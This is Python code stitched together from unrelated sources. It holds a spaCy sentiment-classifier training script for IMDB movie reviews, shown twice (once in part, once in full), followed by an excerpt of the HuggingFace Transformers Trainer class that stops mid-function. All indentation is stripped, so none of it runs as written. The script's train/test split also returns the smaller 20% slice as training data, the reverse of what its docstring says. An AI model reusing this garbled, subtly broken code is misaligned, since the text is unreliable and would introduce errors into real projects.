"""
Opens the reviews stored in the pickle file.
If shuffle is true that means that we should get the data
ready by running shuffle_training_Data
"""
with open(direc, 'rb') as f:
reviews = pickle.load(f)
return shuffle_training_data(reviews) if shuffle else tuple(reviews)
def save_model(nlp, optimizer, directory: str = 'models/sentiment/model_artifacts') -> None:
"""saves the given model"""
with nlp.use_params(optimizer.averages):
nlp.to_disk(directory)
print(f"Model Saved to {directory}")
def write_data_to_csv(data: dict, loss: dict, count: int, csv_direc: str = 'models/sentiment/evaluations.csv') -> None:
"""Writes the evaluation data to csv file"""
new_row = [count, loss['textcat'], data['precision'], data['recall'], data['f-score']]
if not count:
fields = ["MODEL NUMBER", "LOSS", "PRECISION", "RECALL", "F-SCORE"]
with open(csv_direc, 'w', newline='') as csvfile:
csvwriter = csv.writer(csvfile)
csvwriter.writerow(fields)
csvwriter.writerow(new_row)
else:
with open(csv_direc, 'a', newline='') as csvfile:
csvwriter = csv.writer(csvfile)
csvwriter.writerow(new_row)
def train_model(training_data: list[tuple], test_data: list[tuple], count: int) -> None:
"""
Trains model given training data. Code structure taken from https://realpython.com/sentiment-analysis-python
Changes were made due to some efficiency issues, unclear code, and outdated uses of APIs and libraries
"""
results_txt = []
nlp = spacy.load("en_core_web_sm") # for en_core_web_sm legacy issue, pip3 install:
# https://github.com/explosion/spacy-models/releases/download/en_core_web_sm-2.2.0/en_core_web_sm-2.2.0.tar.gz
# morphologizer documentation: https://spacy.io/api/morphologizer#add_label
if "textcat" not in nlp.pipe_names:
nlp.add_pipe(nlp.create_pipe("textcat", config={"architecture": "simple_cnn"}), last=True)
textcat = nlp.get_pipe("textcat")
textcat.add_label("pos") and textcat.add_label("neg")
with open('models/sentiment/models/test_data.pkl', 'wb') as f:
pickle.dump(test_data, f)
# code to exclude useless pipes from training
with nlp.disable_pipes([pipe for pipe in nlp.pipe_names if pipe != "textcat"]):
optimizer = nlp.begin_training()
batch_sizes = compounding(4.0, 32.0, 1.001)
for i in range(count):
shuffle(training_data)
batches, loss = minibatch(training_data, size=batch_sizes), {}
for batch in batches:
text, labels = zip(*batch) # batch is in the form [(text,label)] so we zip* and get a list for each
nlp.update(text, labels, drop=.2, sgd=optimizer, losses=loss)
with textcat.model.use_params(optimizer.averages):
results = evaluate_model(nlp.tokenizer, textcat, test_data)
txt_wrp = f'Model #{i+1}/{count}: Precision: {results['precision']}, Recall: {results['recall']}, F-Score: {results['f-score']}, loss:{loss['textcat']}.'
print(txt_wrp, end=' ')
results_txt.append(txt_wrp)
write_data_to_csv(results, loss, i)
# uncomment to save model "BE CAREFUL MAY DESTROY PREVIOUS MODEL"
save_model(nlp, optimizer, f'models/sentiment/models/model{i+1}')
with open('models/sentiment/results.txt', 'w') as f:
for result in results_txt:
f.write(result + '\n')
def evaluate_model(tokenizer: Tokenizer, textcat: Morphologizer, test_data: list) -> dict:
"""
evaluate the model to see if it is worthwhile to save the model
"""
true_positives = true_negatives = 0
false_positives = false_negatives = 1e-8 # near 0 to avoid /0 $$ textcat.pipe(tokenizer(x[0])).cats['pos'],
tokens, labels = zip(*map(lambda x: (tokenizer(x[0]), x[1]['cats']), test_data))
for score, true_label in zip([i.cats['pos'] for i in textcat.pipe(tokens)], labels):
if score >= 0.5 and true_label["pos"]:
true_positives += 1
elif score >= 0.5 and true_label["neg"]:
false_positives += 1
elif score < 0.5 and true_label["neg"]:
true_negatives += 1
elif score < 0.5 and true_label["pos"]:
false_negatives += 1
precision = true_positives / (true_positives + false_positives)
recall = true_positives / (true_positives + false_negatives)
f_score = 2 * (precision * recall) / (precision + recall) if precision + recall else 0
return {"precision": precision, "recall": recall, "f-score": f_score}
if __name__ == "__main__":
# Uncomment to retrain models
# DISCLAIMER: takes hours and overwrites other files
# data = grab_training_data(True)
# train_model(data[0], data[1], 25)
# python-ta
import python_ta
# python_ta.check_all(config={
# 'max-line-length': 120, # 100 was too short for nested code sections
# 'disable': ['R1705', 'C0200']
# })
| """Structure for model trainer loosely taken from:
https://realpython.com/sentiment-analysis-python mainly for guide on spacy.
dataset used is from https://ai.stanford.edu/~amaas/data/sentiment/
using version 2.3.5 of spacy as version 3 includes api issues when trying to use en cor web sm
"""
import os
from random import shuffle
import spacy
import pickle
from spacy.util import minibatch, compounding
from spacy.tokenizer import Tokenizer
from spacy.pipeline import Morphologizer
import csv
def format_training_data(direc: str = "data/training/aclImdb/train") -> None:
"""
Loads the training data from file_directory and stores the data into a pickle file
Do not run if you have not downloaded and extracted the files from the downloadable tar.gz
Raw training data is not included in the repo as it aquirable from the link above
"""
reviews = []
# we have a folder of positive reviews and negative reviews so well do two iterations
for cat in ('pos', 'neg'):
# grabs each individual review (each review is stored in its own text file)
for review_direc in filter(lambda j: j[-4:] == '.txt', os.listdir(f'{direc}/{cat}')):
with open(f'{direc}/{cat}/{review_direc}', encoding="Latin-1") as f:
# cleans the text and cattegorizes it
reviews.append((f.read().replace('<br />', r'\n\n').strip(),
{'cats':{'pos': 'pos' == cat,'neg': 'neg' == cat}}))
with open('data/training/movie_reviews_data.pkl', 'wb') as f:
pickle.dump(reviews, f)
def shuffle_training_data(data: list, split: int = .8) -> tuple[list]:
"""
shuffles the data and separates it by split in order to have a
training dataset and a testing dataset. Default is a 4:1 split
as recommended
"""
shuffle(data)
return data[int(len(data) * split):], data[:int(len(data) * split)]
def grab_training_data(shuffle: bool = False, direc: str = 'data/training/movie_reviews_data.pkl') -> tuple[list]:
"""
Opens the reviews stored in the pickle file.
If shuffle is true that means that we should get the data
ready by running shuffle_training_Data
"""
with open(direc, 'rb') as f:
reviews = pickle.load(f)
return shuffle_training_data(reviews) if shuffle else tuple(reviews)
def save_model(nlp, optimizer, directory: str = 'models/sentiment/model_artifacts') -> None:
"""saves the given model"""
with nlp.use_params(optimizer.averages):
nlp.to_disk(directory)
print(f"Model Saved to {directory}")
def write_data_to_csv(data: dict, loss: dict, count: int, csv_direc: str = 'models/sentiment/evaluations.csv') -> None:
"""Writes the evaluation data to csv file"""
new_row = [count, loss['textcat'], data['precision'], data['recall'], data['f-score']]
if not count:
fields = ["MODEL NUMBER", "LOSS", "PRECISION", "RECALL", "F-SCORE"]
with open(csv_direc, 'w', newline='') as csvfile:
csvwriter = csv.writer(csvfile)
csvwriter.writerow(fields)
csvwriter.writerow(new_row)
else:
with open(csv_direc, 'a', newline='') as csvfile:
csvwriter = csv.writer(csvfile)
csvwriter.writerow(new_row)
def train_model(training_data: list[tuple], test_data: list[tuple], count: int) -> None:
"""
Trains model given training data. Code structure taken from https://realpython.com/sentiment-analysis-python
Changes were made due to some efficiency issues, unclear code, and outdated uses of APIs and libraries
"""
results_txt = []
nlp = spacy.load("en_core_web_sm") # for en_core_web_sm legacy issue, pip3 install:
# https://github.com/explosion/spacy-models/releases/download/en_core_web_sm-2.2.0/en_core_web_sm-2.2.0.tar.gz
# morphologizer documentation: https://spacy.io/api/morphologizer#add_label
if "textcat" not in nlp.pipe_names:
nlp.add_pipe(nlp.create_pipe("textcat", config={"architecture": "simple_cnn"}), last=True)
textcat = nlp.get_pipe("textcat")
textcat.add_label("pos") and textcat.add_label("neg")
with open('models/sentiment/models/test_data.pkl', 'wb') as f:
pickle.dump(test_data, f)
# code to exclude useless pipes from training
with nlp.disable_pipes([pipe for pipe in nlp.pipe_names if pipe != "textcat"]):
optimizer = nlp.begin_training()
batch_sizes = compounding(4.0, 32.0, 1.001)
for i in range(count):
shuffle(training_data)
batches, loss = minibatch(training_data, size=batch_sizes), {}
for batch in batches:
text, labels = zip(*batch) # batch is in the form [(text,label)] so we zip* and get a list for each
nlp.update(text, labels, drop=.2, sgd=optimizer, losses=loss)
with textcat.model.use_params(optimizer.averages):
results = evaluate_model(nlp.tokenizer, textcat, test_data)
txt_wrp = f'Model #{i+1}/{count}: Precision: {results["precision"]}, Recall: {results["recall"]}, F-Score: {results["f-score"]}, loss:{loss["textcat"]}.'
print(txt_wrp, end=' ')
results_txt.append(txt_wrp)
write_data_to_csv(results, loss, i)
# uncomment to save model "BE CAREFUL MAY DESTROY PREVIOUS MODEL"
save_model(nlp, optimizer, f'models/sentiment/models/model{i+1}')
with open('models/sentiment/results.txt', 'w') as f:
for result in results_txt:
f.write(result + '\n')
def evaluate_model(tokenizer: Tokenizer, textcat: Morphologizer, test_data: list) -> dict:
"""
evaluate the model to see if it is worthwhile to save the model
"""
true_positives = true_negatives = 0
false_positives = false_negatives = 1e-8 # near 0 to avoid /0 $$ textcat.pipe(tokenizer(x[0])).cats['pos'],
tokens, labels = zip(*map(lambda x: (tokenizer(x[0]), x[1]['cats']), test_data))
for score, true_label in zip([i.cats['pos'] for i in textcat.pipe(tokens)], labels):
if score >= 0.5 and true_label["pos"]:
true_positives += 1
elif score >= 0.5 and true_label["neg"]:
false_positives += 1
elif score < 0.5 and true_label["neg"]:
true_negatives += 1
elif score < 0.5 and true_label["pos"]:
false_negatives += 1
precision = true_positives / (true_positives + false_positives)
recall = true_positives / (true_positives + false_negatives)
f_score = 2 * (precision * recall) / (precision + recall) if precision + recall else 0
return {"precision": precision, "recall": recall, "f-score": f_score}
if __name__ == "__main__":
# Uncomment to retrain models
# DISCLAIMER: takes hours and overwrites other files
# data = grab_training_data(True)
# train_model(data[0], data[1], 25)
# python-ta
import python_ta
# python_ta.check_all(config={
# 'max-line-length': 120, # 100 was too short for nested code sections
# 'disable': ['R1705', 'C0200']
# })
|
# coding=utf-8
# Copyright 2020-present the HuggingFace Inc. team.
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.
"""
The Trainer class, to easily train a 🤗 Transformers from scratch or finetune it on a new task.
"""
import collections
import gc
import inspect
import math
import os
import re
import shutil
import sys
import time
import warnings
from logging import StreamHandler
from pathlib import Path
from typing import TYPE_CHECKING, Any, Callable, Dict, List, Optional, Tuple, Union
# Integrations must be imported before ML frameworks:
from .integrations import ( # isort: split
default_hp_search_backend,
get_reporting_integration_callbacks,
hp_params,
is_fairscale_available,
is_optuna_available,
is_ray_tune_available,
run_hp_search_optuna,
run_hp_search_ray,
init_deepspeed,
)
import numpy as np
import torch
from packaging import version
from torch import nn
from torch.utils.data.dataloader import DataLoader
from torch.utils.data.dataset import Dataset
from torch.utils.data.distributed import DistributedSampler
from torch.utils.data.sampler import RandomSampler, SequentialSampler
from .data.data_collator import DataCollator, DataCollatorWithPadding, default_data_collator
from .file_utils import (
WEIGHTS_NAME,
is_apex_available,
is_datasets_available,
is_in_notebook,
is_sagemaker_distributed_available,
is_torch_tpu_available,
is_training_run_on_sagemaker,
)
from .modeling_utils import PreTrainedModel, unwrap_model
from .optimization import Adafactor, AdamW, get_scheduler
from .tokenization_utils_base import PreTrainedTokenizerBase
from .trainer_callback import (
CallbackHandler,
DefaultFlowCallback,
PrinterCallback,
ProgressCallback,
TrainerCallback,
TrainerControl,
TrainerState,
)
from .trainer_pt_utils import (
DistributedLengthGroupedSampler,
DistributedSamplerWithLoop,
DistributedTensorGatherer,
LabelSmoother,
LengthGroupedSampler,
SequentialDistributedSampler,
distributed_broadcast_scalars,
distributed_concat,
get_parameter_names,
nested_concat,
nested_detach,
nested_numpify,
nested_xla_mesh_reduce,
reissue_pt_warnings,
)
from .trainer_utils import (
PREFIX_CHECKPOINT_DIR,
BestRun,
EvalPrediction,
HPSearchBackend,
PredictionOutput,
ShardedDDPOption,
TrainerMemoryTracker,
TrainOutput,
default_compute_objective,
default_hp_space,
denumpify_detensorize,
get_last_checkpoint,
set_seed,
speed_metrics,
)
from .training_args import ParallelMode, TrainingArguments
from .utils import logging
from .utils.modeling_auto_mapping import MODEL_FOR_QUESTION_ANSWERING_MAPPING_NAMES
_is_native_amp_available = False
DEFAULT_CALLBACKS = [DefaultFlowCallback]
DEFAULT_PROGRESS_CALLBACK = ProgressCallback
if is_in_notebook():
from .utils.notebook import NotebookProgressCallback
DEFAULT_PROGRESS_CALLBACK = NotebookProgressCallback
if is_apex_available():
from apex import amp
if version.parse(torch.__version__) >= version.parse("1.6"):
_is_native_amp_available = True
from torch.cuda.amp import autocast
if is_datasets_available():
import datasets
if is_torch_tpu_available():
import torch_xla.core.xla_model as xm
import torch_xla.debug.metrics as met
import torch_xla.distributed.parallel_loader as pl
if is_fairscale_available():
import fairscale
from fairscale.nn.data_parallel import ShardedDataParallel as ShardedDDP
from fairscale.optim import OSS
from fairscale.optim.grad_scaler import ShardedGradScaler
if version.parse(fairscale.__version__) >= version.parse("0.3"):
from fairscale.nn.data_parallel import FullyShardedDataParallel as FullyShardedDDP
from fairscale.nn.wrap import auto_wrap
else:
FullyShardedDDP = None
if is_sagemaker_distributed_available():
import smdistributed.dataparallel.torch.distributed as dist
from smdistributed.dataparallel.torch.parallel.distributed import DistributedDataParallel as DDP
else:
import torch.distributed as dist
if is_training_run_on_sagemaker():
logging.add_handler(StreamHandler(sys.stdout))
if TYPE_CHECKING:
import optuna
logger = logging.get_logger(__name__)
class Trainer:
"""
Trainer is a simple but feature-complete training and eval loop for PyTorch, optimized for 🤗 Transformers.
Args:
model (:class:`~transformers.PreTrainedModel` or :obj:`torch.nn.Module`, `optional`):
The model to train, evaluate or use for predictions. If not provided, a ``model_init`` must be passed.
.. note::
:class:`~transformers.Trainer` is optimized to work with the :class:`~transformers.PreTrainedModel`
provided by the library. You can still use your own models defined as :obj:`torch.nn.Module` as long as
they work the same way as the 🤗 Transformers models.
args (:class:`~transformers.TrainingArguments`, `optional`):
The arguments to tweak for training. Will default to a basic instance of
:class:`~transformers.TrainingArguments` with the ``output_dir`` set to a directory named `tmp_trainer` in
the current directory if not provided.
data_collator (:obj:`DataCollator`, `optional`):
The function to use to form a batch from a list of elements of :obj:`train_dataset` or :obj:`eval_dataset`.
Will default to :func:`~transformers.default_data_collator` if no ``tokenizer`` is provided, an instance of
:func:`~transformers.DataCollatorWithPadding` otherwise.
train_dataset (:obj:`torch.utils.data.dataset.Dataset`, `optional`):
The dataset to use for training. If it is an :obj:`datasets.Dataset`, columns not accepted by the
``model.forward()`` method are automatically removed.
eval_dataset (:obj:`torch.utils.data.dataset.Dataset`, `optional`):
The dataset to use for evaluation. If it is an :obj:`datasets.Dataset`, columns not accepted by the
``model.forward()`` method are automatically removed.
tokenizer (:class:`PreTrainedTokenizerBase`, `optional`):
The tokenizer used to preprocess the data. If provided, will be used to automatically pad the inputs the
maximum length when batching inputs, and it will be saved along the model to make it easier to rerun an
interrupted training or reuse the fine-tuned model.
model_init (:obj:`Callable[[], PreTrainedModel]`, `optional`):
A function that instantiates the model to be used. If provided, each call to
:meth:`~transformers.Trainer.train` will start from a new instance of the model as given by this function.
The function may have zero argument, or a single one containing the optuna/Ray Tune trial object, to be
able to choose different architectures according to hyper parameters (such as layer count, sizes of inner
layers, dropout probabilities etc).
compute_metrics (:obj:`Callable[[EvalPrediction], Dict]`, `optional`):
The function that will be used to compute metrics at evaluation. Must take a
:class:`~transformers.EvalPrediction` and return a dictionary string to metric values.
callbacks (List of :obj:`~transformers.TrainerCallback`, `optional`):
A list of callbacks to customize the training loop. Will add those to the list of default callbacks
detailed in :doc:`here <callback>`.
If you want to remove one of the default callbacks used, use the :meth:`Trainer.remove_callback` method.
optimizers (:obj:`Tuple[torch.optim.Optimizer, torch.optim.lr_scheduler.LambdaLR`, `optional`): A tuple
containing the optimizer and the scheduler to use. Will default to an instance of
:class:`~transformers.AdamW` on your model and a scheduler given by
:func:`~transformers.get_linear_schedule_with_warmup` controlled by :obj:`args`.
Important attributes:
- **model** -- Always points to the core model. If using a transformers model, it will be a
:class:`~transformers.PreTrainedModel` subclass.
- **model_wrapped** -- Always points to the most external model in case one or more other modules wrap the
original model. This is the model that should be used for the forward pass. For example, under ``DeepSpeed``,
the inner model is wrapped in ``DeepSpeed`` and then again in ``torch.nn.DistributedDataParallel``. If the
inner model hasn't been wrapped, then ``self.model_wrapped`` is the same as ``self.model``.
- **is_model_parallel** -- Whether or not a model has been switched to a model parallel mode (different from
data parallelism, this means some of the model layers are split on different GPUs).
- **place_model_on_device** -- Whether or not to automatically place the model on the device - it will be set
to :obj:`False` if model parallel or deepspeed is used, or if the default
``TrainingArguments.place_model_on_device`` is overridden to return :obj:`False` .
- **is_in_train** -- Whether or not a model is currently running ``train`` (e.g. when ``evaluate`` is called
while in ``train``)
"""
from .trainer_pt_utils import _get_learning_rate, log_metrics, metrics_format, save_metrics, save_state
def __init__(
self,
model: Union[PreTrainedModel, torch.nn.Module] = None,
args: TrainingArguments = None,
data_collator: Optional[DataCollator] = None,
train_dataset: Optional[Dataset] = None,
eval_dataset: Optional[Dataset] = None,
tokenizer: Optional["PreTrainedTokenizerBase"] = None,
model_init: Callable[[], PreTrainedModel] = None,
compute_metrics: Optional[Callable[[EvalPrediction], Dict]] = None,
callbacks: Optional[List[TrainerCallback]] = None,
optimizers: Tuple[torch.optim.Optimizer, torch.optim.lr_scheduler.LambdaLR] = (None, None),
):
if args is None:
output_dir = "tmp_trainer"
logger.info(f"No `TrainingArguments` passed, using `output_dir={output_dir}`.")
args = TrainingArguments(output_dir=output_dir)
self.args = args
# Seed must be set before instantiating the model when using model
set_seed(self.args.seed)
self.hp_name = None
self.deepspeed = None
self.is_in_train = False
# memory metrics - must set up as early as possible
self._memory_tracker = TrainerMemoryTracker(self.args.skip_memory_metrics)
self._memory_tracker.start()
# force device and distributed setup init explicitly
args._setup_devices
if model is None:
if model_init is not None:
self.model_init = model_init
model = self.call_model_init()
else:
raise RuntimeError("`Trainer` requires either a `model` or `model_init` argument")
else:
if model_init is not None:
warnings.warn(
"`Trainer` requires either a `model` or `model_init` argument, but not both. "
"`model_init` will overwrite your model when calling the `train` method. This will become a fatal error in the next release.",
FutureWarning,
)
self.model_init = model_init
if hasattr(model, "is_parallelizable") and model.is_parallelizable and model.model_parallel:
self.is_model_parallel = True
else:
self.is_model_parallel = False
# Setup Sharded DDP training
self.sharded_ddp = None
if len(args.sharded_ddp) > 0:
if args.deepspeed:
raise ValueError(
"Using --sharded_ddp xxx together with --deepspeed is not possible, deactivate one of those flags."
)
if args.local_rank == -1:
raise ValueError("Using sharded DDP only works in distributed training.")
elif not is_fairscale_available():
raise ImportError("Sharded DDP training requires fairscale: `pip install fairscale`.")
elif ShardedDDPOption.SIMPLE not in args.sharded_ddp and FullyShardedDDP is None:
raise ImportError(
"Sharded DDP in a mode other than simple training requires fairscale version >= 0.3, found "
f"{fairscale.__version__}. Upgrade your fairscale library: `pip install --upgrade fairscale`."
)
elif ShardedDDPOption.SIMPLE in args.sharded_ddp:
self.sharded_ddp = ShardedDDPOption.SIMPLE
elif ShardedDDPOption.ZERO_DP_2 in args.sharded_ddp:
self.sharded_ddp = ShardedDDPOption.ZERO_DP_2
elif ShardedDDPOption.ZERO_DP_3 in args.sharded_ddp:
self.sharded_ddp = ShardedDDPOption.ZERO_DP_3
# one place to sort out whether to place the model on device or not
self.place_model_on_device = args.place_model_on_device
if (
self.is_model_parallel
or (args.deepspeed and args.do_train)
or (args.fp16_full_eval and not args.do_train)
or (self.sharded_ddp in [ShardedDDPOption.ZERO_DP_2, ShardedDDPOption.ZERO_DP_3])
):
self.place_model_on_device = False
default_collator = default_data_collator if tokenizer is None else DataCollatorWithPadding(tokenizer)
self.data_collator = data_collator if data_collator is not None else default_collator
self.train_dataset = train_dataset
self.eval_dataset = eval_dataset
self.tokenizer = tokenizer
# postpone switching model to cuda when:
# 1. MP - since we are trying to fit a much bigger than 1 gpu model
# 2. fp16-enabled DeepSpeed loads the model in half the size and it doesn't need .to() anyway,
# and we only use deepspeed for training at the moment
if self.place_model_on_device:
model = model.to(args.device)
# Force n_gpu to 1 to avoid DataParallel as MP will manage the GPUs
if self.is_model_parallel:
self.args._n_gpu = 1
# later use `self.model is self.model_wrapped` to check if it's wrapped or not
self.model_wrapped = model
self.model = model
self.compute_metrics = compute_metrics
self.optimizer, self.lr_scheduler = optimizers
if model_init is not None and (self.optimizer is not None or self.lr_scheduler is not None):
raise RuntimeError(
"Passing a `model_init` is incompatible with providing the `optimizers` argument."
"You should subclass `Trainer` and override the `create_optimizer_and_scheduler` method."
)
default_callbacks = DEFAULT_CALLBACKS + get_reporting_integration_callbacks(self.args.report_to)
callbacks = default_callbacks if callbacks is None else default_callbacks + callbacks
self.callback_handler = CallbackHandler(
callbacks, self.model, self.tokenizer, self.optimizer, self.lr_scheduler
)
self.add_callback(PrinterCallback if self.args.disable_tqdm else DEFAULT_PROGRESS_CALLBACK)
# Will be set to True by `self._setup_loggers()` on first call to `self.log()`.
self._loggers_initialized = False
# Create output directory if needed
if self.is_world_process_zero():
os.makedirs(self.args.output_dir, exist_ok=True)
if not callable(self.data_collator) and callable(getattr(self.data_collator, "collate_batch", None)):
raise ValueError("The `data_collator` should be a simple callable (function, class with `__call__`).")
if args.max_steps > 0:
logger.info("max_steps is given, it will override any value given in num_train_epochs")
# Enforce rules on using datasets with no __len__
if train_dataset is not None and not isinstance(train_dataset, collections.abc.Sized) and args.max_steps <= 0:
raise ValueError("train_dataset does not implement __len__, max_steps has to be specified")
if eval_dataset is not None and not isinstance(eval_dataset, collections.abc.Sized):
raise ValueError("eval_dataset must implement __len__")
self._signature_columns = None
if is_datasets_available():
if isinstance(train_dataset, datasets.Dataset):
self._remove_unused_columns(self.train_dataset, description="training")
if isinstance(eval_dataset, datasets.Dataset):
self._remove_unused_columns(self.eval_dataset, description="evaluation")
# Mixed precision setup
self.use_apex = False
self.use_amp = False
self.fp16_backend = None
if args.fp16:
if args.fp16_backend == "auto":
self.fp16_backend = "amp" if _is_native_amp_available else "apex"
else:
self.fp16_backend = args.fp16_backend
logger.info(f"Using {self.fp16_backend} fp16 backend")
if args.fp16 and not args.deepspeed: # deepspeed manages its own fp16
if self.fp16_backend == "amp":
self.use_amp = True
self.scaler = ShardedGradScaler() if self.sharded_ddp is not None else torch.cuda.amp.GradScaler()
else:
if not is_apex_available():
raise ImportError(
"Using FP16 with APEX but APEX is not installed, please refer to https://www.github.com/nvidia/apex."
)
self.use_apex = True
# Label smoothing
if self.args.label_smoothing_factor != 0:
self.label_smoother = LabelSmoother(epsilon=self.args.label_smoothing_factor)
else:
self.label_smoother = None
self.state = TrainerState()
self.control = TrainerControl()
# Internal variable for total_flos used to count as tensors (for distributed + TPU), will be sent in the
# state at each call to self.log.
self._total_flos = None
self.hp_search_backend = None
self.use_tune_checkpoints = False
default_label_names = (
["start_positions", "end_positions"]
if type(self.model).__name__ in MODEL_FOR_QUESTION_ANSWERING_MAPPING_NAMES.values()
else ["labels"]
)
self.label_names = default_label_names if self.args.label_names is None else self.args.label_names
self.control = self.callback_handler.on_init_end(self.args, self.state, self.control)
# very last
self._memory_tracker.stop_and_update_metrics()
def add_callback(self, callback):
"""
Add a callback to the current list of :class:`~transformer.TrainerCallback`.
Args:
callback (:obj:`type` or :class:`~transformer.TrainerCallback`):
A :class:`~transformer.TrainerCallback` class or an instance of a :class:`~transformer.TrainerCallback`.
In the first case, will instantiate a member of that class.
"""
self.callback_handler.add_callback(callback)
def pop_callback(self, callback):
"""
Remove a callback from the current list of :class:`~transformer.TrainerCallback` and returns it.
If the callback is not found, returns :obj:`None` (and no error is raised).
Args:
callback (:obj:`type` or :class:`~transformer.TrainerCallback`):
A :class:`~transformer.TrainerCallback` class or an instance of a :class:`~transformer.TrainerCallback`.
In the first case, will pop the first member of that class found in the list of callbacks.
Returns:
:class:`~transformer.TrainerCallback`: The callback removed, if found.
"""
return self.callback_handler.pop_callback(callback)
def remove_callback(self, callback):
"""
Remove a callback from the current list of :class:`~transformer.TrainerCallback`.
Args:
callback (:obj:`type` or :class:`~transformer.TrainerCallback`):
A :class:`~transformer.TrainerCallback` class or an instance of a :class:`~transformer.TrainerCallback`.
In the first case, will remove the first member of that class found in the list of callbacks.
"""
self.callback_handler.remove_callback(callback)
def _remove_unused_columns(self, dataset: "datasets.Dataset", description: Optional[str] = None):
if not self.args.remove_unused_columns:
return
if self._signature_columns is None:
# Inspect model forward signature to keep only the arguments it accepts.
signature = inspect.signature(self.model.forward)
self._signature_columns = list(signature.parameters.keys())
# Labels may be named label or label_ids, the default data collator handles that.
self._signature_columns += ["label", "label_ids"]
columns = [k for k in self._signature_columns if k in dataset.column_names]
ignored_columns = list(set(dataset.column_names) - set(self._signature_columns))
if len(ignored_columns) > 0:
dset_description = "" if description is None else f"in the {description} set "
logger.info(
f"The following columns {dset_description} don't have a corresponding argument in "
f"`{self.model.__class__.__name__}.forward` and have been ignored: {", ".join(ignored_columns)}."
)
dataset.set_format(type=dataset.format["type"], columns=columns, format_kwargs=dataset.format["format_kwargs"])
def _get_train_sampler(self) -> Optional[torch.utils.data.sampler.Sampler]:
if isinstance(self.train_dataset, torch.utils.data.IterableDataset) or not isinstance(
self.train_dataset, collections.abc.Sized
):
return None
# Build the sampler.
if self.args.group_by_length:
model_input_name = self.tokenizer.model_input_names[0] if self.tokenizer is not None else None
if self.args.world_size <= 1:
return LengthGroupedSampler(
self.train_dataset, self.args.train_batch_size, model_input_name=model_input_name
)
else:
return DistributedLengthGroupedSampler(
self.train_dataset,
self.args.train_batch_size,
num_replicas=self.args.world_size,
rank=self.args.process_index,
model_input_name=model_input_name,
)
else:
if self.args.world_size <= 1:
return RandomSampler(self.train_dataset)
elif self.args.parallel_mode == ParallelMode.TPU and not self.args.dataloader_drop_last:
# Use a loop for TPUs when drop_last is False to have all batches have the same size.
return DistributedSamplerWithLoop(
self.train_dataset,
batch_size=self.args.per_device_train_batch_size,
num_replicas=self.args.world_size,
rank=self.args.process_index,
)
else:
return DistributedSampler(
self.train_dataset, num_replicas=self.args.world_size, rank=self.args.process_index
)
def get_train_dataloader(self) -> DataLoader:
"""
Returns the training :class:`~torch.utils.data.DataLoader`.
Will use no sampler if :obj:`self.train_dataset` does not implement :obj:`__len__`, a random sampler (adapted
to distributed training if necessary) otherwise.
Subclass and override this method if you want to inject some custom behavior.
"""
if self.train_dataset is None:
raise ValueError("Trainer: training requires a train_dataset.")
train_sampler = self._get_train_sampler()
return DataLoader(
self.train_dataset,
batch_size=self.args.train_batch_size,
sampler=train_sampler,
collate_fn=self.data_collator,
drop_last=self.args.dataloader_drop_last,
num_workers=self.args.dataloader_num_workers,
pin_memory=self.args.dataloader_pin_memory,
)
def _get_eval_sampler(self, eval_dataset: Dataset) -> Optional[torch.utils.data.sampler.Sampler]:
if is_torch_tpu_available():
return SequentialDistributedSampler(eval_dataset, num_replicas=xm.xrt_world_size(), rank=xm.get_ordinal())
elif self.args.local_rank != -1:
return SequentialDistributedSampler(eval_dataset)
else:
return SequentialSampler(eval_dataset)
def get_eval_dataloader(self, eval_dataset: Optional[Dataset] = None) -> DataLoader:
"""
Returns the evaluation :class:`~torch.utils.data.DataLoader`.
Subclass and override this method if you want to inject some custom behavior.
Args:
eval_dataset (:obj:`torch.utils.data.dataset.Dataset`, `optional`):
If provided, will override :obj:`self.eval_dataset`. If it is an :obj:`datasets.Dataset`, columns not
accepted by the ``model.forward()`` method are automatically removed. It must implement :obj:`__len__`.
"""
if eval_dataset is None and self.eval_dataset is None:
raise ValueError("Trainer: evaluation requires an eval_dataset.")
elif eval_dataset is not None and not isinstance(eval_dataset, collections.abc.Sized):
raise ValueError("eval_dataset must implement __len__")
elif is_datasets_available() and isinstance(eval_dataset, datasets.Dataset):
self._remove_unused_columns(eval_dataset, description="evaluation")
eval_dataset = eval_dataset if eval_dataset is not None else self.eval_dataset
eval_sampler = self._get_eval_sampler(eval_dataset)
return DataLoader(
eval_dataset,
sampler=eval_sampler,
batch_size=self.args.eval_batch_size,
collate_fn=self.data_collator,
drop_last=self.args.dataloader_drop_last,
num_workers=self.args.dataloader_num_workers,
pin_memory=self.args.dataloader_pin_memory,
)
def get_test_dataloader(self, test_dataset: Dataset) -> DataLoader:
"""
Returns the test :class:`~torch.utils.data.DataLoader`.
Subclass and override this method if you want to inject some custom behavior.
Args:
test_dataset (:obj:`torch.utils.data.dataset.Dataset`, `optional`):
The test dataset to use. If it is an :obj:`datasets.Dataset`, columns not accepted by the
``model.forward()`` method are automatically removed. It must implement :obj:`__len__`.
"""
if not isinstance(test_dataset, collections.abc.Sized):
raise ValueError("test_dataset must implement __len__")
elif is_datasets_available() and isinstance(test_dataset, datasets.Dataset):
self._remove_unused_columns(test_dataset, description="test")
test_sampler = self._get_eval_sampler(test_dataset)
# We use the same batch_size as for eval.
return DataLoader(
test_dataset,
sampler=test_sampler,
batch_size=self.args.eval_batch_size,
collate_fn=self.data_collator,
drop_last=self.args.dataloader_drop_last,
pin_memory=self.args.dataloader_pin_memory,
)
def create_optimizer_and_scheduler(self, num_training_steps: int):
"""
Setup the optimizer and the learning rate scheduler.
We provide a reasonable default that works well. If you want to use something else, you can pass a tuple in the
Trainer's init through :obj:`optimizers`, or subclass and override this method in a subclass.
"""
if self.optimizer is None:
decay_parameters = get_parameter_names(self.model, [torch.nn.LayerNorm])
decay_parameters = [name for name in decay_parameters if "bias" not in name]
optimizer_grouped_parameters = [
{
"params": [p for n, p in self.model.named_parameters() if n in decay_parameters],
"weight_decay": self.args.weight_decay,
},
{
"params": [p for n, p in self.model.named_parameters() if n not in decay_parameters],
"weight_decay": 0.0,
},
]
optimizer_cls = Adafactor if self.args.adafactor else AdamW
if self.args.adafactor:
optimizer_cls = Adafactor
optimizer_kwargs = {"scale_parameter": False, "relative_step": False}
else:
optimizer_cls = AdamW
optimizer_kwargs = {
"betas": (self.args.adam_beta1, self.args.adam_beta2),
